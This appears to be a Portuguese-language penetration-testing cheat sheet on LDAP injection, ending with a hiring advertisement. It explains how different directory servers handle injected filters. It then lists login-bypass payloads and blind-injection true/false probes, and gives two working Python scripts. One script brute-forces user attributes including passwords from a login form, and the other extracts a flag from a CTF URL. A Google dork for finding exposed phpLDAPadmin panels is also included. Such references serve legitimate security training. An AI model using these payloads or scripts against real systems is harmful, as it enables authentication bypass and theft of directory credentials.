A Injeção LDAP é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação falha em sanitizar corretamente a entrada, permitindo que os atacantes manipulem declarações LDAP por meio de um proxy local, potencialmente resultando em acesso não autorizado ou manipulação de dados.
Por exemplo:
(&(!(objectClass=Impresoras))(uid=s*))(&(objectClass=user)(uid=*))
Você pode acessar o banco de dados, que pode conter informações de muitos tipos diferentes.
OpenLDAP: Se 2 filtros chegarem, apenas executa o primeiro.
ADAM ou Microsoft LDS: Com 2 filtros, eles lançam um erro.
SunOne Directory Server 5.0: Executa ambos os filtros.
É muito importante enviar o filtro com a sintaxe correta, ou um erro será lançado. É melhor enviar apenas 1 filtro.
O filtro deve começar com: & ou |
Exemplo: (&(directory=val1)(folder=public))
Então: (&(objectClass=*)(ObjectClass=*)) será o primeiro filtro (o executado).
Bypass de Login
O LDAP suporta vários formatos para armazenar a senha: clara, md5, smd5, sh1, sha, crypt. Portanto, pode ser que, independentemente do que você inserir na senha, ela seja hashada.
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Você pode forçar respostas Falsas ou Verdadeiras para verificar se algum dado é retornado e confirmar uma possível Injeção LDAP Cega:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Despejar dados
Você pode iterar sobre as letras ascii, dígitos e símbolos:
Os objetos LDAP contêm por padrão vários atributos que podem ser usados para salvar informações. Você pode tentar forçar a entrada em todos eles para extrair essas informações. Você pode encontrar uma lista de atributos LDAP padrão aqui.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
Injeção LDAP Cega Especial (sem "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break
Google Dorks
intitle:"phpLDAPadmin"inurl:cmd.php
Mais Cargas Úteis
Se você está interessado em carreira de hacking e hackear o inquebrável - estamos contratando! (fluência em polonês escrita e falada necessária).